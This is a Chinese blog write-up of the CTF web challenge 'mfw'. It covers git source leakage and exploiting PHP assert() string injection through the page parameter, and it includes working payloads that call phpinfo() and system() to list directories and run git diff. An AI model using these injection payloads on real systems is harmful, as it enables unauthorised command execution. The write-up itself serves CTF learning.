mfw

作者: Yix1a | 来源:发表于2019-05-30 16:14 被阅读0次
  • 第一个先是敏感目录扫描
  • 扫到/.git/的存在
  • 然后用githack工具下载出来源码
  • 111.198.29.45_36053即是源码文件,分析源码文件发现flag中是
<?php
// TODO
// $FLAG = '';
?>
  • 其中TODO说明

用来表示这个地方还有一些事情要做,一些代码要写。

由于用了这个注释后,TODO是加粗的,在代码中很明显,所以可以作为程序员编写代码时给自己留个备忘。

  • 之后查看index.php发现存在命令行执行的漏洞
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home"; //
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

  • assert(strpos( )) 往中间塞个函数类似的东西就可以执行。
  • 用page= '.phpinfo().' 测试发现被执行了。
  • 下一步就可以用system执行我们先要的东西
  • 构建page='.system("cd ../../../../../; ls -al").' 来观察目录,找到网站目录var/www/html
  • 因为是git环境,所以用可以用git命令。 用git diff,即page='.system("cd ../../../var/www/html %26%26 git diff %26%26 ls -al ").'
  • 可以看到在源代码中(浏览器不显示php代码,只能从页面源代码中查看显示出来的php)flag

相关文章

  • mfw

    第一个先是敏感目录扫描 扫到/.git/的存在 然后用githack工具下载出来源码 111.198.29.45_...

  • mfw sigh signature 请求协议分析(2)

    mfw sigh signature 请求协议分析 环境 python: 3.8 frida: 12.8.0 ob...

  • mfw sigh signature 请求协议分析

    mfw sigh signature 请求协议分析 环境 python: 3.8 frida: 12.8.0 ob...

  • 评集体土地直接入市

    原创:邓从云,哲学士 https://mp.weixin.qq.com/s/_86mfW0GCgQfruemcbu...

  • MFW登陆练手

    https://www.52pojie.cn/thread-972422-1-1.html 首先登陆抓包 人家抓的...

  • 远离一种人

    https://mp.weixin.qq.com/s/FEkOcSj6l4q-6l2OGB3Mfw 上边链接很有感...

  • CSAW2016-mfw wp

    题目描述 进去之后打开首页,在某一页找到 有git, 那就从.git入手,用工具下载到源码 发现有flag.php...

  • 攻防世界-Web-mfw

    题目信息: 打开题目场景,检查网站,发现这样一个页面 访问.git目录,疑似存在git源码泄露 再用dirsear...

  • 攻防世界mfw & unserialize3

    mfw.git源码泄露先用githack下载源码,审一下发现两个assert() 这里两个地方都可以注入,payl...

  • 攻防世界(进阶)--WEB--14.mfw

    考察点:git漏洞,代码审计 1.进入场景 访问.git目录,疑似存在git源码泄露 2.使用 GitHack获取...

网友评论

      本文标题:mfw

      本文链接:https://www.haomeiwen.com/subject/gepktctx.html